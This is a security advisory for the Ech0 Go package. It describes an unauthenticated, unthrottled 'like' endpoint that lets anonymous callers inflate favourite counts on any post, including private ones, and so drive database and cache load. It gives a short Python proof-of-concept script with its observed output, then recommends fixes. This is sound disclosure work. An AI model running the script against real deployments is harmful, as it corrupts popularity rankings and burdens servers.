Skip to content

PUT /api/echo/like/:id unauthenticated: anonymous callers modify any echo's fav_count

Moderate
lin-snow published GHSA-pj6q-4vq4-r8cg May 3, 2026

Package

gomod github.com/lin-snow/Ech0 (Go)

Affected versions

<= 4.5.6

Patched versions

4.7.3

Description

Summary

PUT /api/echo/like/:id at internal/router/echo.go:12 is registered on PublicRouterGroup with no authentication and no rate limit. Anonymous callers increment the fav_count counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public GET /api/echo/page response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.

Details

Route registration at internal/router/echo.go:12:

appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())

PublicRouterGroup is r.Group("/api") without the JWT middleware that AuthRouterGroup applies. The handler passes through to EchoService.LikeEcho, which calls EchoRepository.LikeEcho at internal/repository/echo/echo.go:270:

func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
    var exists bool
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
        return err
    }
    if !exists {
        return errors.New(commonModel.ECHO_NOT_FOUND)
    }
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Where("id = ?", id).
        UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
        return err
    }
    return nil
}

No viewer check, no ownership check, no private-flag check. Compare the read path at EchoService.GetEchoById (internal/service/echo/echo.go:275-300) which rejects anonymous readers on private echoes; the like path skips that gate. InvalidateEchoCaches (internal/repository/echo/echo.go:51-58) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind checkRateLimit (internal/service/comment/comment.go:731-766, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.

Proof of Concept

Default install, anonymous caller on the network:

import requests
TARGET = "http://localhost:8300"

# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]

# 2) Like it. Repeat without deduplication.
for i in range(3):
    r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
    print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")

# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
#    but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b"  # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")

Observed on v4.5.6 in the test container:

public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}

The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID 019daf77-4a97...) succeeded even though GetEchosById would refuse to read that echo for an anonymous caller.

Impact

Anonymous, rate-limit-free writes against any echo's fav_count. Direct impact:

  • Popularity signal destruction. fav_count powers the hot feed; a single script skews the ranking at will.
  • Private-boundary bypass. Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.
  • Server and cache load. Every call triggers a SQLite UPDATE transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.

Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.

Recommended Fix

Move the route to AuthRouterGroup so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:

appRouterGroup.AuthRouterGroup.PUT(
    "/echo/like/:id",
    middleware.RateLimit(5, 10),
    h.EchoHandler.LikeEcho(),
)

At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:

func (s *EchoService) LikeEcho(ctx context.Context, id string) error {
    userID := viewer.MustFromContext(ctx).UserID()
    if userID == "" {
        return errors.New(commonModel.NO_PERMISSION_DENIED)
    }
    echo, err := s.echoRepository.GetEchosById(ctx, id)
    if err != nil || echo == nil {
        return errors.New(commonModel.ECHO_NOT_FOUND)
    }
    if echo.Private {
        user, err := s.commonService.CommonGetUserByUserId(ctx, userID)
        if err != nil || !user.IsAdmin {
            return errors.New(commonModel.NO_PERMISSION_DENIED)
        }
    }
    return s.echoRepository.LikeEchoOnce(ctx, id, userID)
}

Found by aisafe.io

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

CVE ID

No known CVE

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits